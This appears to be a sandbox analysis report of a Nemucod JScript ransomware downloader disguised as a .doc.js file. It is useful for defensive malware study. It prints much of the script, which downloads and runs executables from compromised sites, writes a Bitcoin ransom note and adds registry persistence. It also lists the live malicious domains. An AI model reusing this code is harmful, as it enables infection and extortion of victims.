Anti Malware Scan Interface: WScript.CreateObject("WScript.Shell"); var fn=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"a"; var pd=ws.ExpandEnvironmentStrings("%TEMP%")+cs+"php4ts.dll"; var xo=WScript.CreateObject("Msxml2.XMLHTTP"); var xa=WScript.CreateObject("ADODB.Stream"); var fo=WScript.CreateObject("Scripting.FileSystemObject"); if (!fo.FileExists(fn+".txt")) { for(var n=1;n<=5;n++) { for(var i=ld;i<ll.length;i++) { var dn=0; try { xo.open("GET","http://"+ll[i]+"/counter/?ad="+ad+"&id="+id+"&rnd="+i+n, false); xo.send(); if(xo.status==200) { xa.open(); xa.type=1; xa.write(xo.responseBody); if(xa.size>1000) { dn=1; if(n<=2){xa.saveToFile(fn+n+".exe",2);try{ws.Run(fn+n+".exe",1,0);}catch(er){};} else if(n==3){xa.saveToFile(fn+".exe",2);} else if(n==4){xa.saveToFile(pd,2);} else if(n==5){xa.saveToFile(fn+".php",2);} }; xa.close(); }; if(dn==1){ld=i;break;}; } catch(er){}; }; }; if(fo.FileExists(fn+".exe") && fo.FileExists(pd) && fo.FileExists(fn+".php")) { var fp=fo.CreateTextFile(fn+".txt",true); fp.WriteLine("ATTENTION!"); fp.WriteLine(""); fp.WriteLine("All your documents, photos, databases and other important personal files"); fp.WriteLine("were encrypted using strong RSA-1024 algorithm with a unique key."); fp.WriteLine("To restore your files you have to pay "+bc+" BTC (bitcoins)."); fp.WriteLine("Please follow this manual:"); fp.WriteLine(""); fp.WriteLine("1. Create Bitcoin wallet here:"); fp.WriteLine(""); fp.WriteLine(" https://blockchain.info/wallet/new"); fp.WriteLine(""); fp.WriteLine("2. Buy "+bc+" BTC with cash, using search here:"); fp.WriteLine(""); fp.WriteLine(" https://localbitcoins.com/buy_bitcoins"); fp.WriteLine(""); fp.WriteLine("3. Send "+bc+" BTC to this Bitcoin address:"); fp.WriteLine(""); fp.WriteLine(" "+ad); fp.WriteLine(""); fp.WriteLine("4. Open one of the following links in your browser to download decryptor:"); fp.WriteLine(""); for (var i=0;i<ll.length;i++) { fp.WriteLine(" http://"+ll[i]+"/counter/?a="+ad); }; fp.WriteLine(""); fp.WriteLine("5. Run decryptor to restore your files."); fp.WriteLine(""); fp.WriteLine("PLEASE REMEMBER:"); fp.WriteLine(""); fp.WriteLine(" - If you do not pay in 3 days YOU LOOSE ALL YOUR FILES."); fp.WriteLine(" - Nobody can help you except us."); fp.WriteLine(" - It`s useless to reinstall Windows, update antivirus software, etc."); fp.WriteLine(" - Your files can be decrypted only after you make payment."); fp.WriteLine(" - You can find this manual on your desktop (DECRYPT.txt)."); fp.Close(); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCU"+cs+"SOFTWARE"+cs+"Microsoft"+cs+"Windows"+cs+"CurrentVersion"+cs+"Run"+cq+" /V "+cq+"Crypted"+cq+" /t REG_SZ /F /D "+cq+fn+".txt"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+".crypted"+cq+" /ve /t REG_SZ /F /D "+cq+"Crypted"+cq,0,0); ws.Run("%COMSPEC% /c REG ADD "+cq+"HKCR"+cs+"Crypted"+cs+"shell"+cs+"open"+cs+"command"+cq+" /ve /t REG_SZ /F /D "+cq+"notepad.exe "+cs+cq+fn+".txt"+cs+cq+cq,0,0); ws.Run("%COMSPEC% /c copy /y "+cq+

Hooking and other Techniques for Hiding and Protection

Uses an obfuscated file name to hide its real file extension (double extension)

Source: Possible double extension: doc.js

Static PE information: Label_00000852555.doc.js

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: wscript.exe, 00000000.00000002.2137445226.0000016EA1600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA15FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWp
Source: wscript.exe, 00000000.00000003.2134578519.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137445226.0000016EA165E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: wscript.exe, 00000000.00000002.2137445226.0000016EA1600000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134578519.0000016EA15FA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW2U

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\wscript.exe	Network Connect: 188.114.97.3 80	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 195.78.67.14 443	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Network Connect: 94.152.13.52 80	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	52 Scripting	Valid Accounts	Windows Management Instrumentation	52 Scripting	1 Process Injection	11 Masquerading	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 DLL Side-Loading	1 DLL Side-Loading	1 Process Injection	LSASS Memory	2 System Information Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	14 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Obfuscated Files or Information	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
Label_00000852555.doc.js	50%	ReversingLabs	Script-JS.Downloader.Nemucod
Label_00000852555.doc.js	52%	Virustotal		Browse
Label_00000852555.doc.js	100%	Avira	HTML/ExpKit.Gen2

Source	Detection	Scanner	Link
telektrim.pl	0%	Virustotal	Browse
www.tamilandth.com	2%	Virustotal	Browse
arlettakubicka.pl	0%	Virustotal	Browse

URLs

Source	Detection	Scanner	Label
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=22	0%	Avira URL Cloud	safe
http://telektrim.pl/counter/?ad=1GNktTwWR98eD	100%	Avira URL Cloud	malware
http://telektrim.pl/asortyment/	100%	Avira URL Cloud	malware
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-270x270.png	100%	Avira URL Cloud	malware
http://key33.ru/counter/?ad=1GNktTwWR?	0%	Avira URL Cloud	safe
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFN	100%	Avira URL Cloud	malware
https://localbitcoins.com/buy_bitcoins	0%	Avira URL Cloud	safe
http://arlettakubicka.pl/counter/?	0%	Avira URL Cloud	safe
http://telektrim.pl/wp-content/themes/Divi/core/admin/js/common.js?ver=4.18.0	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1730473688	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	100%	Avira URL Cloud	malware
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=21	0%	Avira URL Cloud	safe
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=24	0%	Avira URL Cloud	safe
http://telektrim.pl/kontakt/	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-admin/admin-ajax.php	100%	Avira URL Cloud	malware
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=23	0%	Avira URL Cloud	safe
http://www.tamilandth.com/	0%	Avira URL Cloud	safe
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25	0%	Avira URL Cloud	safe
http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-32x32.png	100%	Avira URL Cloud	malware
http://telektrim.pl/counter/?ad=	100%	Avira URL Cloud	malware
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPs	0%	Avira URL Cloud	safe
http://telektrim.pl/feed/	100%	Avira URL Cloud	malware
http://telektrim.pl/xmlrpc.php	100%	Avira URL Cloud	malware
http://key33.ru/counter/?ad=1GNktTwW	0%	Avira URL Cloud	safe
http://arlettakubicka.pl/co	0%	Avira URL Cloud	safe
http://shanghaizuoye.com/counter	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/themes/Divi/includes/builder/styles/images/preloader.gif)	100%	Avira URL Cloud	malware
http://www.tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-	0%	Avira URL Cloud	safe
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKR	100%	Avira URL Cloud	malware
http://telektrim.pl/comments/feed/	100%	Avira URL Cloud	malware
https://arlettakubicka.pl/	0%	Avira URL Cloud	safe
https://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-	0%	Avira URL Cloud	safe
http://telektrim.pl/o-nas/	100%	Avira URL Cloud	malware
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKR	0%	Avira URL Cloud	safe
http://key33.ru/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsL	0%	Avira URL Cloud	safe
http://key33.ru/counter/?ad=1	0%	Avira URL Cloud	safe
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=11	0%	Avira URL Cloud	safe
http://telektrim.pl/biura-magazyny/	100%	Avira URL Cloud	malware
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=14	0%	Avira URL Cloud	safe
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=12	0%	Avira URL Cloud	safe
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=13	0%	Avira URL Cloud	safe
http://telektrim.pl/wp-content/et-cache/954/et-core-unified-cpt-deferred-954.min.css?ver=1730473688	100%	Avira URL Cloud	malware
http://key33.ru/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWk	0%	Avira URL Cloud	safe
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=15	0%	Avira URL Cloud	safe
http://telektrim.pl/wp-includes/css/dist/block-library/style.min.css?ver=6.7	100%	Avira URL Cloud	malware
http://tamilandth.com/counter/?ad=	0%	Avira URL Cloud	safe
http://telektrim.pl/wp-json/	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/plugins/cookie-notice/css/front.min.css?ver=2.4.18	100%	Avira URL Cloud	malware
http://shanghaizuoye.com/cA	100%	Avira URL Cloud	malware
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GN	0%	Avira URL Cloud	safe
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUP~	100%	Avira URL Cloud	malware
https://arlettakubicka.pl/ilandth.com/	0%	Avira URL Cloud	safe
http://tamilandth.co	0%	Avira URL Cloud	safe
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxz	100%	Avira URL Cloud	malware
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&	0%	Avira URL Cloud	safe
https://localbitcoins.com/buy_bitcoinsktop%20(DE	0%	Avira URL Cloud	safe
http://telektrim.pl/wp-content/plugins/cookie-notice/js/front.min.js?ver=2.4.18	100%	Avira URL Cloud	malware
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98e	100%	Avira URL Cloud	malware
http://tamilandth.com/counter/?ad=1GNktTwWR98eD	0%	Avira URL Cloud	safe
http://telektrim.pl/	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/uploads/2022/08/Zrzut-ekranu-2022-08-20-o-18.11.46.png	100%	Avira URL Cloud	malware
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyE	100%	Avira URL Cloud	malware
http://telektrim.pl/counter/?ad=1GNktTwW	100%	Avira URL Cloud	malware
http://shanghaizuoye.c	0%	Avira URL Cloud	safe
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=32	100%	Avira URL Cloud	malware
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=31	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-192x192.png	100%	Avira URL Cloud	malware
http://key33.ru/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&i	0%	Avira URL Cloud	safe
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=33	100%	Avira URL Cloud	malware
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-5	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/plugins/instagram-feed/css/sbi-styles.min.css?ver=6.6.1	100%	Avira URL Cloud	malware
http://key33.ru/counter/?ad=1GNktTwWR98	0%	Avira URL Cloud	safe
http://telektrim.pl/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.1	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/themes/Divi/js/scripts.min.js?ver=4.18.0	100%	Avira URL Cloud	malware
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-5	0%	Avira URL Cloud	safe
http://telektrim.pl/wp-content/et-cache/notfound/et-divi-dynamic-tb-954-late.css?ver=1730469746	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/themes/Divi/includes/builder/feature/dynamic-assets/assets/js/jquery.	100%	Avira URL Cloud	malware
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=34	100%	Avira URL Cloud	malware
http://tamilandth.com/cY	0%	Avira URL Cloud	safe
http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-180x180.png	100%	Avira URL Cloud	malware
http://telektrim.pl/wp-content/et-cache/notfound/et-divi-dynamic-tb-954.css?ver=1730469746	100%	Avira URL Cloud	malware
http://telektrim.pl/xmlrpc.php?rsd	100%	Avira URL Cloud	malware
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=35	100%	Avira URL Cloud	malware
http://shanghaizuoye.com/counter/?ad=1GN	100%	Avira URL Cloud	malware
https://arlettakubicka.pl/H2	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
telektrim.pl	94.152.13.52	true	true	0%, Virustotal, Browse	unknown
www.tamilandth.com	188.114.96.3	true	false	2%, Virustotal, Browse	unknown
arlettakubicka.pl	195.78.67.14	true	true	0%, Virustotal, Browse	unknown
tamilandth.com	188.114.97.3	true	true		unknown
key33.ru	unknown	unknown	true		unknown
shanghaizuoye.com	unknown	unknown	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=22	true	Avira URL Cloud: safe	unknown
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=21	true	Avira URL Cloud: safe	unknown
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=24	true	Avira URL Cloud: safe	unknown
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=23	true	Avira URL Cloud: safe	unknown
http://tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25	true	Avira URL Cloud: safe	unknown
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=11	true	Avira URL Cloud: safe	unknown
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=12	true	Avira URL Cloud: safe	unknown
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=13	true	Avira URL Cloud: safe	unknown
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=14	true	Avira URL Cloud: safe	unknown
http://arlettakubicka.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=15	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=31	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=32	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=33	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=34	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=35	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://telektrim.pl/counter/?ad=1GNktTwWR98eD	wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136116904.0000016EA148F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137211657.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136275651.0000016EA1490000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://shanghaizuoye.com/counter/?ad=1GNktTwWR98eDEMovFN	wscript.exe, 00000000.00000003.2134911221.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134944154.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135275696.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136066566.0000016EA1485000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134879438.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.2137191946.0000016EA1487000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2136001156.0000016EA1480000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
https://blockchain.info/wallet/new0%20%20%20	wscript.exe, 00000000.00000003.2044429743.0000016EA148A000.00000004.00000020.00020000.00000000.sdmp	false		high
https://localbitcoins.com/buy_bitcoins	wscript.exe, 00000000.00000003.2104071601.0000016EA1495000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-content/uploads/2022/08/cropped-favvi-270x270.png	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://www.elegantthemes.com	wscript.exe, 00000000.00000003.2135426546.0000016EA1875000.00000004.00000020.00020000.00000000.sdmp	false		high
http://telektrim.pl/wp-content/themes/Divi/core/admin/js/common.js?ver=4.18.0	wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://telektrim.pl/asortyment/	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://key33.ru/counter/?ad=1GNktTwWR?	wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://telektrim.pl/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id	wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: malware	unknown
http://arlettakubicka.pl/counter/?	wscript.exe, 00000000.00000003.2134519553.0000016EA1497000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2134561781.0000016EA149D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://telektrim.pl/wp-includes/js/jquery/jquery.min.js?ver=3.7.1	wscript.exe, 00000000.00000002.2137638012.0000016EA1FF2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://telektrim.pl/wp-content/et-cache/global/et-divi-customizer-global.min.css?ver=1730473688	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://telektrim.pl/kontakt/	wscript.exe, 00000000.00000003.2117698739.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2133428812.0000016EA149F000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2103975634.0000016EA149C000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2135407526.0000016EA1A20000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
